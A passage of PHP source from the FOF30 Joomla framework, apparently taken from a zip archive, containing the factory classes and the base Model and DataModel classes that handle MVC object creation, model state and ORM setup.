'extensions' => ['.php', '.blade.php'], 'defaultLayout' => 'default', 'defaultTpl' => '', 'strictView' => true, 'strictTpl' => true, 'strictLayout' => true, 'sidePrefix' => 'auto', ]; $config = array_merge($defaultConfig, $config); // Apply fof.xml overrides $appConfig = $this->container->appConfig; $key = "views." . ucfirst($view->getName()) . ".config"; $fofXmlConfig = [ 'extensions' => $appConfig->get("$key.templateExtensions", $config['extensions']), 'strictView' => $appConfig->get("$key.templateStrictView", $config['strictView']), 'strictTpl' => $appConfig->get("$key.templateStrictTpl", $config['strictTpl']), 'strictLayout' => $appConfig->get("$key.templateStrictLayout", $config['strictLayout']), 'sidePrefix' => $appConfig->get("$key.templateLocation", $config['sidePrefix']), ]; $config = array_merge($config, $fofXmlConfig); // Create the new view template finder object return new ViewTemplateFinder($view, $config); } /** * @return string */ public function getSection() { return $this->section; } /** * @param string $section */ public function setSection($section) { $this->section = $section; } /** * Is scaffolding enabled? * * @return bool * * @deprecated 3.6.0 Always returns false */ public function isScaffolding() { return false; } /** * Set the scaffolding status * * @param bool $scaffolding * * @deprecated Removed since 3.6.0, does nothing */ public function setScaffolding($scaffolding): void { // Ignored } /** * Is saving the scaffolding result to disk enabled? * * @return bool * * @deprecated 3.6.0 Always returns false */ public function isSaveScaffolding() { return false; } /** * Set the status of saving the scaffolding result to disk. * * @param bool $saveScaffolding * * @deprecated 3.6.0 Does nothing */ public function setSaveScaffolding($saveScaffolding) { // Ignored } /** * Should we save controller to disk? * * @param bool $state * * @deprecated 3.6.0 Does nothing */ public function setSaveControllerScaffolding($state) { // Ignored } /** * Should we save controller scaffolding to disk? * * @return bool $state * * @deprecated 3.6.0 Always returns false */ public function isSaveControllerScaffolding() { return false; } /** * Should we save model to disk? * * @param bool $state * * @deprecated 3.6.0 Does nothing */ public function setSaveModelScaffolding($state) { // Ignored } /** * Should we save model scaffolding to disk? * * @return bool $state * * @deprecated 3.6.0 Always returns false */ public function isSaveModelScaffolding() { return false; } /** * Should we save view to disk? * * @param bool $state * * @deprecated 3.6.0 Does nothing */ public function setSaveViewScaffolding($state) { // Ignored } /** * Should we save view scaffolding to disk? * * @return bool $state * * @deprecated 3.6.0 Always returns false */ public function isSaveViewScaffolding() { return false; } /** * Creates a Controller object * * @param string $controllerClass The fully qualified class name for the Controller * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller * * @throws RuntimeException If the $controllerClass does not exist */ protected function createController($controllerClass, array $config = []) { if (!class_exists($controllerClass)) { throw new ControllerNotFound($controllerClass); } return new $controllerClass($this->container, $config); } /** * Creates a Model object * * @param string $modelClass The fully qualified class name for the Model * @param array $config Optional MVC configuration values for the Model object. * * @return Model * * @throws RuntimeException If the $modelClass does not exist */ protected function createModel($modelClass, array $config = []) { if (!class_exists($modelClass)) { throw new ModelNotFound($modelClass); } return new $modelClass($this->container, $config); } /** * Creates a View object * * @param string $viewClass The fully qualified class name for the View * @param array $config Optional MVC configuration values for the View object. * * @return View * * @throws RuntimeException If the $viewClass does not exist */ protected function createView($viewClass, array $config = []) { if (!class_exists($viewClass)) { throw new ViewNotFound($viewClass); } return new $viewClass($this->container, $config); } /** * Creates a Toolbar object * * @param string $toolbarClass The fully qualified class name for the Toolbar * @param array $config The configuration values for the Toolbar object * * @return Toolbar * * @throws RuntimeException If the $toolbarClass does not exist */ protected function createToolbar($toolbarClass, array $config = []) { if (!class_exists($toolbarClass)) { throw new ToolbarNotFound($toolbarClass); } return new $toolbarClass($this->container, $config); } /** * Creates a Dispatcher object * * @param string $dispatcherClass The fully qualified class name for the Dispatcher * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher * * @throws RuntimeException If the $dispatcherClass does not exist */ protected function createDispatcher($dispatcherClass, array $config = []) { if (!class_exists($dispatcherClass)) { throw new DispatcherNotFound($dispatcherClass); } return new $dispatcherClass($this->container, $config); } /** * Creates a TransparentAuthentication object * * @param string $authClass The fully qualified class name for the TransparentAuthentication * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication * * @throws RuntimeException If the $authClass does not exist */ protected function createTransparentAuthentication($authClass, $config) { if (!class_exists($authClass)) { throw new TransparentAuthenticationNotFound($authClass); } return new $authClass($this->container, $config); } } PK���\�p���$fof30/Factory/MagicSwitchFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Factory; defined('_JEXEC') || die; use FOF30\Controller\Controller; use FOF30\Dispatcher\Dispatcher; use FOF30\Factory\Exception\ControllerNotFound; use FOF30\Factory\Exception\DispatcherNotFound; use FOF30\Factory\Exception\ModelNotFound; use FOF30\Factory\Exception\TransparentAuthenticationNotFound; use FOF30\Factory\Exception\ViewNotFound; use FOF30\Factory\Magic\DispatcherFactory; use FOF30\Factory\Magic\TransparentAuthenticationFactory; use FOF30\Model\Model; use FOF30\Toolbar\Toolbar; use FOF30\TransparentAuthentication\TransparentAuthentication; use FOF30\View\View; /** * Magic MVC object factory. This factory will "magically" create MVC objects even if the respective classes do not * exist, based on information in your fof.xml file. * * Note: This factory class will look for MVC objects in BOTH component sections (front-end, back-end), not just the one * you are currently running in. If no class is found a new object will be created magically. This is the same behaviour * as FOF 2.x. */ class MagicSwitchFactory extends SwitchFactory implements FactoryInterface { /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller($viewName, array $config = []) { try { return parent::controller($viewName, $config); } catch (ControllerNotFound $e) { $magic = new Magic\ControllerFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $config); } } /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model($viewName, array $config = []) { try { return parent::model($viewName, $config); } catch (ModelNotFound $e) { $magic = new Magic\ModelFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $config); } } /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view($viewName, $viewType = 'html', array $config = []) { try { return parent::view($viewName, $viewType, $config); } catch (ViewNotFound $e) { $magic = new Magic\ViewFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($viewName, $viewType, $config); } } /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []) { $appConfig = $this->container->appConfig; $defaultConfig = [ 'useConfigurationFile' => true, 'renderFrontendButtons' => in_array($appConfig->get("views.*.config.renderFrontendButtons"), [ true, 'true', 'yes', 'on', 1, ]), 'renderFrontendSubmenu' => in_array($appConfig->get("views.*.config.renderFrontendSubmenu"), [ true, 'true', 'yes', 'on', 1, ]), ]; $config = array_merge($defaultConfig, $config); return parent::toolbar($config); } /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []) { $dispatcherClass = $this->container->getNamespacePrefix($this->getSection()) . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Let's go on. } $dispatcherClass = $this->container->getNamespacePrefix('inverse') . 'Dispatcher\\Dispatcher'; try { return $this->createDispatcher($dispatcherClass, $config); } catch (DispatcherNotFound $e) { // Not found. Return the magically created Dispatcher $magic = new DispatcherFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($config); } } /** * Creates a new TransparentAuthentication * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []) { $toolbarClass = $this->container->getNamespacePrefix($this->getSection()) . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Let's go on. } $toolbarClass = $this->container->getNamespacePrefix('inverse') . 'TransparentAuthentication\\TransparentAuthentication'; try { return $this->createTransparentAuthentication($toolbarClass, $config); } catch (TransparentAuthenticationNotFound $e) { // Not found. Return the magically created TransparentAuthentication $magic = new TransparentAuthenticationFactory($this->container); // Let's pass the section override (if any) $magic->setSection($this->getSection()); return $magic->make($config); } } } PK���\י/�(8(8fof30/Model/Model.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Input\Input; use FOF30\Model\Exception\CannotGetName; use Joomla\CMS\Filter\InputFilter; use RuntimeException; use stdClass; /** * Class Model * * A generic MVC model implementation * * @property-read Input $input The input object (magic __get returns the Input from the Container) */ class Model { /** * Should I save the model's state in the session? * * @var boolean */ protected $_savestate = true; /** * Should we ignore request data when trying to get state data not already set in the Model? * * @var bool */ protected $_ignoreRequest = false; /** * The model (base) name * * @var string */ protected $name; /** * A state object * * @var string */ protected $state; /** * Are the state variables already set? * * @var boolean */ protected $_state_set = false; /** * The container attached to the model * * @var Container */ protected $container; /** * The state key hash returned by getHash(). This is typically something like "com_foobar.example." (note the dot * at the end). Always use getHash to get it and setHash to set it. * * @var null|string */ private $stateHash = null; /** * Public class constructor * * You can use the $config array to pass some configuration values to the object: * * state stdClass|array. The state variables of the Model. * use_populate Boolean. When true the model will set its state from populateState() instead of the request. * ignore_request Boolean. When true getState will not automatically load state data from the request. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model */ public function __construct(Container $container, array $config = []) { $this->container = $container; // Set the model's name from $config if (isset($config['name'])) { $this->name = $config['name']; } // If $config['name'] is not set, auto-detect the model's name $this->name = $this->getName(); // Do we have a configured state hash? Since 3.1.2. if (isset($config['hash']) && !empty($config['hash'])) { $this->setHash($config['hash']); } elseif (isset($config['hash_view']) && !empty($config['hash_view'])) { $this->getHash($config['hash_view']); } // Set the model state if (array_key_exists('state', $config)) { if (is_object($config['state'])) { $this->state = $config['state']; } elseif (is_array($config['state'])) { $this->state = (object) $config['state']; } // Protect vs malformed state else { $this->state = new stdClass(); } } else { $this->state = new stdClass(); } // Set the internal state marker if (!empty($config['use_populate'])) { $this->_state_set = true; } // Set the internal state marker if (!empty($config['ignore_request'])) { $this->_ignoreRequest = true; } } /** * Method to get the model name * * The model name. By default parsed using the classname or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws RuntimeException If it's impossible to get the name */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\Model\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName; } $this->name = $r[2]; } return $this->name; } /** * Get a filtered state variable * * @param string $key The state variable's name * @param mixed $default The default value to return if it's not already set * @param string $filter_type The filter type to use * * @return mixed The state variable's contents */ public function getState($key = null, $default = null, $filter_type = 'raw') { if (empty($key)) { return $this->internal_getState(); } // Get the savestate status $value = $this->internal_getState($key); // Value is not found in the internal state if (is_null($value)) { // Can I fetch it from the request? if (!$this->_ignoreRequest) { $value = $this->container->platform->getUserStateFromRequest($this->getHash() . $key, $key, $this->input, $value, 'none', $this->_savestate); // Did I get any useful value from the request? if (is_null($value)) { return $default; } } // Nope! Let's return the default value else { return $default; } } if (strtoupper($filter_type) == 'RAW') { return $value; } else { $filter = new InputFilter(); return $filter->clean($value, $filter_type); } } /** * Method to set model state variables * * @param string $property The name of the property. * @param mixed $value The value of the property to set or null. * * @return mixed The previous value of the property or null if not set. */ public function setState($property, $value = null) { if (is_null($this->state)) { $this->state = new stdClass(); } return $this->state->$property = $value; } /** * Returns a unique hash for each view, used to prefix the state variables to allow us to retrieve them from the * state later on. If it's not already set (with setHash) it will be set in the form com_something.myModel. If you * pass a non-empty $viewName then if it's not already set it will be instead set in the form of * com_something.viewName.myModel which is useful when you are reusing models in multiple views and want to avoid * state bleedover among views. * * Also see the hash and hash_view parameters in the constructor's options. * * @return string */ public function getHash($viewName = null) { if (is_null($this->stateHash)) { $this->stateHash = ucfirst($this->container->componentName) . '.'; if (!empty($viewName)) { $this->stateHash .= $viewName . '.'; } $this->stateHash .= $this->getName() . '.'; } return $this->stateHash; } /** * Sets the unique hash to prefix the state variables. The hash is cleaned according to the 'CMD' input filtering, * must end in a dot (if not a dot is added automatically) and cannot be empty. * * @param string $hash * * @return void * * @see self::getHash() */ public function setHash($hash) { // Clean the hash, it has to conform to 'CMD' filtering $tempInput = new Input(['hash' => $hash]); $hash = $tempInput->getCmd('hash', null); if (empty($hash)) { return; } if (substr($hash, -1) == '_') { $hash = substr($hash, 0, -1); } if (substr($hash, -1) != '.') { $hash .= '.'; } $this->stateHash = $hash; } /** * Clears the model state, but doesn't touch the internal lists of records, * record tables or record id variables. To clear these values, please use * reset(). * * @return static */ public function clearState() { $this->state = new stdClass(); return $this; } /** * Clones the model object and returns the clone * * @return static */ public function getClone() { $clone = clone($this); return $clone; } /** * Returns a reference to the model's container * * @return Container */ public function getContainer() { return $this->container; } /** * Magic getter; allows to use the name of model state keys as properties. Also handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The state variable key * * @return static */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } return $this->getState($name); } /** * Magic setter; allows to use the name of model state keys as properties * * @param string $name The state variable key * @param mixed $value The state variable value * * @return static */ public function __set($name, $value) { return $this->setState($name, $value); } /** * Magic caller; allows to use the name of model state keys as methods to * set their values. * * @param string $name The state variable key * @param mixed $arguments The state variable contents * * @return static */ public function __call($name, $arguments) { $arg1 = array_shift($arguments); $this->setState($name, $arg1); return $this; } /** * Sets the model state auto-save status. By default the model is set up to * save its state to the session. * * @param boolean $newState True to save the state, false to not save it. * * @return static */ public function savestate($newState) { $this->_savestate = $newState ? true : false; return $this; } /** * Public setter for the _savestate variable. Set it to true to save the state * of the Model in the session. * * @return static */ public function populateSavestate() { if (is_null($this->_savestate)) { $savestate = $this->input->getInt('savestate', -999); if ($savestate == -999) { $savestate = true; } $this->savestate($savestate); } } /** * Gets the ignore request flag. When false, getState() will try to populate state variables not already set from * same-named state variables in the request. * * @return boolean */ public function getIgnoreRequest() { return $this->_ignoreRequest; } /** * Sets the ignore request flag. When false, getState() will try to populate state variables not already set from * same-named state variables in the request. * * @param boolean $ignoreRequest * * @return static */ public function setIgnoreRequest($ignoreRequest) { $this->_ignoreRequest = $ignoreRequest; return $this; } /** * Returns a temporary instance of the model. Please note that this returns a _clone_ of the model object, not the * original object. The new object is set up to not save its stats, ignore the request when getting state variables * and comes with an empty state. * * @return static */ public function tmpInstance() { return $this->getClone()->savestate(false)->setIgnoreRequest(true)->clearState(); } /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * @return void * * @note Calling getState in this method will result in recursion. */ protected function populateState() { } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * object's behaviours dispatcher and Joomla! plugin system. Neither handler is expected to return anything (return * values are ignored). If you want to mark an error and cancel the event you have to raise an exception. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. $his->behavioursDispatcher->trigger('onBeforeSomething', array(&$this, 123, 456)) * 3. Joomla! plugin event onComFoobarModelItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return void */ protected function triggerEvent($event, array $arguments = []) { // If there is an object method for this event, call it if (method_exists($this, $event)) { switch (count($arguments)) { case 0: $this->{$event}(); break; case 1: $this->{$event}($arguments[0]); break; case 2: $this->{$event}($arguments[0], $arguments[1]); break; case 3: $this->{$event}($arguments[0], $arguments[1], $arguments[2]); break; case 4: $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; default: call_user_func_array([$this, $event], $arguments); break; } } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // Trigger the object's behaviours dispatcher, if such a thing exists if (property_exists($this, 'behavioursDispatcher') && method_exists($this->behavioursDispatcher, 'trigger')) { $this->behavioursDispatcher->trigger($event, $arguments); } // Prepare to run the Joomla! plugins now. // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Model'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $this->container->platform->runPlugins($event, $arguments); } /** * Method to get model state variables * * @param string $property Optional parameter name * @param mixed $default Optional default value * * @return object The property where specified, the state object where omitted */ private function internal_getState($property = null, $default = null) { if (!$this->_state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->_state_set = true; } if (is_null($property)) { return $this->state; } else { if (property_exists($this->state, $property)) { return $this->state->$property; } else { return $default; } } } } PK���\�^I+R�R�fof30/Model/DataModel.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Controller\Exception\LockedRecord; use FOF30\Date\Date; use FOF30\Event\Dispatcher; use FOF30\Event\Observer; use FOF30\Model\DataModel\Collection as DataCollection; use FOF30\Model\DataModel\Exception\BaseException; use FOF30\Model\DataModel\Exception\CannotLockNotLoadedRecord; use FOF30\Model\DataModel\Exception\InvalidSearchMethod; use FOF30\Model\DataModel\Exception\NoAssetKey; use FOF30\Model\DataModel\Exception\NoContentType; use FOF30\Model\DataModel\Exception\NoItemsFound; use FOF30\Model\DataModel\Exception\NoTableColumns; use FOF30\Model\DataModel\Exception\RecordNotLoaded; use FOF30\Model\DataModel\Exception\SpecialColumnMissing; use FOF30\Model\DataModel\Relation\Exception\RelationNotFound; use FOF30\Model\DataModel\RelationManager; use FOF30\Utils\ArrayHelper; use InvalidArgumentException; use JDatabaseDriver; use JDatabaseQuery; use JLoader; use Joomla\CMS\Access\Rules; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Table\Asset; use Joomla\CMS\Table\ContentType; use Joomla\CMS\Table\Table; use Joomla\CMS\Table\TableInterface; use Joomla\CMS\UCM\UCMContent; use RuntimeException; use UnexpectedValueException; /** * Data-aware model, implementing a convenient ORM * * Type hinting -- start * * @method $this hasOne() hasOne(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this belongsTo() belongsTo(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this hasMany() hasMany(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null) * @method $this belongsToMany() belongsToMany(string $name, string $foreignModelClass = null, string $localKey = null, string $foreignKey = null, string $pivotTable = null, string $pivotLocalKey = null, string $pivotForeignKey = null) * * @method $this filter_order() filter_order(string $orderingField) * @method $this filter_order_Dir() filter_order_Dir(string $direction) * @method $this limit() limit(int $limit) * @method $this limitstart() limitstart(int $limitStart) * @method $this enabled() enabled(int $enabled) * @method DataModel getNew() getNew(string $relationName) * * @property int $enabled Publish status of this record * @property int $ordering Sort ordering of this record * @property int $created_by ID of the user who created this record * @property string $created_on Date/time stamp of record creation * @property int $modified_by ID of the user who modified this record * @property string $modified_on Date/time stamp of record modification * @property int $locked_by ID of the user who locked this record * @property string $locked_on Date/time stamp of record locking * * Type hinting -- end */ class DataModel extends Model implements TableInterface { /** @var array A list of tables in the database */ protected static $tableCache = []; /** @var array A list of table fields, keyed per table */ protected static $tableFieldCache = []; /** @var array A list of permutations of the prefix with upper/lowercase letters */ protected static $prefixCasePermutations = []; /** @var array Table field name aliases, defined as aliasFieldName => actualFieldName */ protected $aliasFields = []; /** @var boolean Should I run automatic checks on the table data? */ protected $autoChecks = true; /** @var boolean Should I auto-fill the fields of the model object when constructing it? */ protected $autoFill = false; /** @var Dispatcher An event dispatcher for model behaviours */ protected $behavioursDispatcher = null; /** @var JDatabaseDriver The database driver for this model */ protected $dbo = null; /** @var array Which fields should be exempt from automatic checks when autoChecks is enabled */ protected $fieldsSkipChecks = []; /** @var array Which fields should be auto-filled from the model state (by extent, the request)? */ protected $fillable = []; /** @var array Which fields should never be auto-filled from the model state (by extent, the request)? */ protected $guarded = []; /** @var string The identity field's name */ protected $idFieldName = ''; /** @var array A hash array with the table fields we know about and their information. Each key is the field name, the value is the field information */ protected $knownFields = []; /** @var array The data of the current record */ protected $recordData = []; /** @var boolean What will delete() do? True: trash (enabled set to -2); false: hard delete (remove from database) */ protected $softDelete = false; /** @var string The name of the database table we connect to */ protected $tableName = ''; /** @var array A collection of custom, additional where clauses to apply during buildQuery */ protected $whereClauses = []; /** @var RelationManager The relation manager of this model */ protected $relationManager = null; /** @var array A list of all eager loaded relations and their attached callbacks */ protected $eagerRelations = []; /** @var array A list of the relation filter definitions for this model */ protected $relationFilters = []; /** @var array A list of the relations which will be auto-touched by save() and touch() methods */ protected $touches = []; /** @var bool Should rows be tracked as ACL assets? */ protected $_trackAssets = false; /** @var bool Does the resource support joomla tags? */ protected $_has_tags = false; /** @var Rules The rules associated with this record. */ protected $_rules; /** @var string The UCM content type (typically: com_something.viewname, e.g. com_foobar.items) */ protected $contentType = null; /** @var array Shared parameters for behaviors */ protected $_behaviorParams = []; /** * The asset key for items in this table. It's usually something in the * com_example.viewname format. They asset name will be this key appended * with the item's ID, e.g. com_example.viewname.123 * * @var string */ protected $_assetKey = ''; /** * Public constructor. Overrides the parent constructor, adding support for database-aware models. * * You can use the $config array to pass some configuration values to the object: * * tableName String The name of the database table to use. Default: #__appName_viewNamePlural (Ruby * on Rails convention) idFieldName String The table key field name. Default: * appName_viewNameSingular_id (Ruby on Rails convention) knownFields Array The known fields in the * table. Default: read from the table itself autoChecks Boolean Should I turn on automatic data * validation checks? fieldsSkipChecks Array List of fields which should not participate in automatic data * validation checks. aliasFields Array Associative array of "magic" field aliases. * behavioursDispatcher EventDispatcher The model behaviours event dispatcher. behaviourObservers Array The * model behaviour observers to attach to the behavioursDispatcher. behaviours Array A list of * behaviour names to instantiate and attach to the behavioursDispatcher. fillable_fields Array Which * fields should be auto-filled from the model state (by extent, the request)? guarded_fields Array Which * fields should never be auto-filled from the model state (by extent, the request)? relations Array (hashed) The relations to autoload on model creation. contentType String The UCM content type, e.g. "com_foobar.items" * * Setting either fillable_fields or guarded_fields turns on automatic filling of fields in the constructor. If * both * are set only guarded_fields is taken into account. Fields are not filled automatically outside the constructor. * * @param Container $container The configuration variables to this model * @param array $config Configuration values for this model * * @throws NoTableColumns * @see Model::__construct() * */ public function __construct(Container $container, array $config = []) { // First call the parent constructor. parent::__construct($container, $config); // Should I use a different database object? $this->dbo = $container->db; // Do I have a table name? if (isset($config['tableName'])) { $this->tableName = $config['tableName']; } elseif (empty($this->tableName)) { // The table name is by default: #__appName_viewNamePlural (Ruby on Rails convention) $viewPlural = $container->inflector->pluralize($this->getName()); $this->tableName = '#__' . strtolower($this->container->bareComponentName) . '_' . strtolower($viewPlural); } // Do I have a table key name? if (isset($config['idFieldName'])) { $this->idFieldName = $config['idFieldName']; } elseif (empty($this->idFieldName)) { // The default ID field is: appName_viewNameSingular_id (Ruby on Rails convention) $viewSingular = $container->inflector->singularize($this->getName()); $this->idFieldName = strtolower($this->container->bareComponentName) . '_' . strtolower($viewSingular) . '_id'; } // Do I have a list of known fields? if (isset($config['knownFields']) && !empty($config['knownFields'])) { if (!is_array($config['knownFields'])) { $config['knownFields'] = explode(',', $config['knownFields']); } $this->knownFields = $config['knownFields']; } else { // By default the known fields are fetched from the table itself (slow!) $this->knownFields = $this->getTableFields(); } if (empty($this->knownFields)) { throw new NoTableColumns(sprintf('Model %s could not fetch column list for the table %s', $this->getName(), $this->tableName)); } // Should I turn on autoChecks? if (isset($config['autoChecks'])) { if (!is_bool($config['autoChecks'])) { $config['autoChecks'] = strtolower($config['autoChecks']); $config['autoChecks'] = in_array($config['autoChecks'], ['yes', 'true', 'on', 1]); } $this->autoChecks = $config['autoChecks']; } // Should I exempt fields from autoChecks? if (isset($config['fieldsSkipChecks'])) { if (!is_array($config['fieldsSkipChecks'])) { $config['fieldsSkipChecks'] = explode(',', $config['fieldsSkipChecks']); $config['fieldsSkipChecks'] = array_map(function ($x) { return trim($x); }, $config['fieldsSkipChecks']); } $this->fieldsSkipChecks = $config['fieldsSkipChecks']; } // Do I have alias fields? if (isset($config['aliasFields'])) { $this->aliasFields = $config['aliasFields']; } // Do I have a behaviours dispatcher? if (isset($config['behavioursDispatcher']) && ($config['behavioursDispatcher'] instanceof Dispatcher)) { $this->behavioursDispatcher = $config['behavioursDispatcher']; } // Otherwise create the model behaviours dispatcher else { $this->behavioursDispatcher = new Dispatcher($this->container); } // Do I have an array of behaviour observers if (isset($config['behaviourObservers']) && is_array($config['behaviourObservers'])) { foreach ($config['behaviourObservers'] as $observer) { $this->behavioursDispatcher->attach($observer); } } // Do I have a list of behaviours? if (isset($config['behaviours']) && is_array($config['behaviours'])) { foreach ($config['behaviours'] as $behaviour) { $this->addBehaviour($behaviour); } } // Add extra behaviours foreach (['Created', 'Modified'] as $behaviour) { $this->addBehaviour($behaviour); } // Do I have a list of fillable fields? if (isset($config['fillable_fields']) && !empty($config['fillable_fields'])) { if (!is_array($config['fillable_fields'])) { $config['fillable_fields'] = explode(',', $config['fillable_fields']); $config['fillable_fields'] = array_map(function ($x) { return trim($x); }, $config['fillable_fields']); } $this->fillable = []; $this->autoFill = true; foreach ($config['fillable_fields'] as $field) { if (array_key_exists($field, $this->knownFields)) { $this->fillable[] = $field; } elseif (isset($this->aliasFields[$field])) { $this->fillable[] = $this->aliasFields[$field]; } } } // Do I have a list of guarded fields? if (isset($config['guarded_fields']) && !empty($config['guarded_fields'])) { if (!is_array($config['guarded_fields'])) { $config['guarded_fields'] = explode(',', $config['guarded_fields']); $config['guarded_fields'] = array_map(function ($x) { return trim($x); }, $config['guarded_fields']); } $this->guarded = []; $this->autoFill = true; foreach ($config['guarded_fields'] as $field) { if (array_key_exists($field, $this->knownFields)) { $this->guarded[] = $field; } elseif (isset($this->aliasFields[$field])) { $this->guarded[] = $this->aliasFields[$field]; } } } // If we are tracking assets, make sure an access field exists and initially set the default. $asset_id_field = $this->getFieldAlias('asset_id'); $access_field = $this->getFieldAlias('access'); if (array_key_exists($asset_id_field, $this->knownFields)) { $this->_trackAssets = true; } /** * if ($this->_trackAssets && array_key_exists($access_field, $this->knownFields) && !($this->getState($access_field, null))) * { * $this->$access_field = (int) $this->container->platform->getConfig()->get('access'); * } **/ $assetKey = $this->container->componentName . '.' . strtolower($container->inflector->singularize($this->getName())); $this->setAssetKey($assetKey); // Set the UCM content type if applicable if (isset($config['contentType'])) { $this->contentType = $config['contentType']; } // Do I have to auto-fill the fields? if ($this->autoFill) { // If I have guarded fields, I'll try to fill everything, using such fields as a "blacklist" if (!empty($this->guarded)) { $fields = array_keys($this->knownFields); } else { // Otherwise I'll fill only the fillable ones (act like having a "whitelist") $fields = $this->fillable; } foreach ($fields as $field) { if (in_array($field, $this->guarded)) { // Do not set guarded fields continue; } $stateValue = $this->getState($field, null); if (!is_null($stateValue)) { $this->setFieldValue($field, $stateValue); } } } // Create a relation manager $this->relationManager = new RelationManager($this); // Do I have a list of relations? if (isset($config['relations']) && is_array($config['relations'])) { foreach ($config['relations'] as $relConfig) { if (!is_array($relConfig)) { continue; } $defaultRelConfig = [ 'type' => 'hasOne', 'foreignModelClass' => null, 'localKey' => null, 'foreignKey' => null, 'pivotTable' => null, 'pivotLocalKey' => null, 'pivotForeignKey' => null, ]; $relConfig = array_merge($defaultRelConfig, $relConfig); $this->relationManager->addRelation($relConfig['itemName'], $relConfig['type'], $relConfig['foreignModelClass'], $relConfig['localKey'], $relConfig['foreignKey'], $relConfig['pivotTable'], $relConfig['pivotLocalKey'], $relConfig['pivotForeignKey']); } } // Initialise the data model foreach ($this->knownFields as $fieldName => $information) { // Initialize only the null or not yet set records if (!isset($this->recordData[$fieldName])) { $this->recordData[$fieldName] = $information->Default; } } // Trigger the onAfterConstruct event. This allows you to set up model state etc. $this->triggerEvent('onAfterConstruct'); } /** * Magic caller. It works like the magic setter and returns ourselves for chaining. If no arguments are passed we'll * only look for a scope filter. * * @param string $name * @param array $arguments * * @return static */ public function __call($name, $arguments) { // If no arguments are provided try mapping to the scopeSomething() method if (empty($arguments)) { $methodName = 'scope' . ucfirst($name); if (method_exists($this, $methodName)) { $this->{$methodName}(); return $this; } } // Implements getNew($relationName) if (($name == 'getNew') && count($arguments)) { return $this->relationManager->getNew($arguments[0]); } // Magically map relations to methods, e.g. $this->foobar will return the "foobar" relations' contents if ($this->relationManager->isMagicMethod($name)) { return call_user_func_array([$this->relationManager, $name], $arguments); } // Otherwise call the parent return parent::__call($name, $arguments); } /** * Magic checker on a property. It follows the same logic of the __get magic method, however, if nothing is found, * it won't return the state of a variable (we are checking if a property is set) * * @param string $name The name of the field to check * * @return bool Is the field set? */ public function __isset($name) { $value = null; $isState = false; if (substr($name, 0, 3) == 'flt') { $isState = true; $name = strtolower(substr($name, 3, 1)) . substr($name, 4); } // If $name is a field name, get its value if (!$isState && array_key_exists($name, $this->recordData)) { $value = $this->getFieldValue($name); } elseif (!$isState && array_key_exists($name, 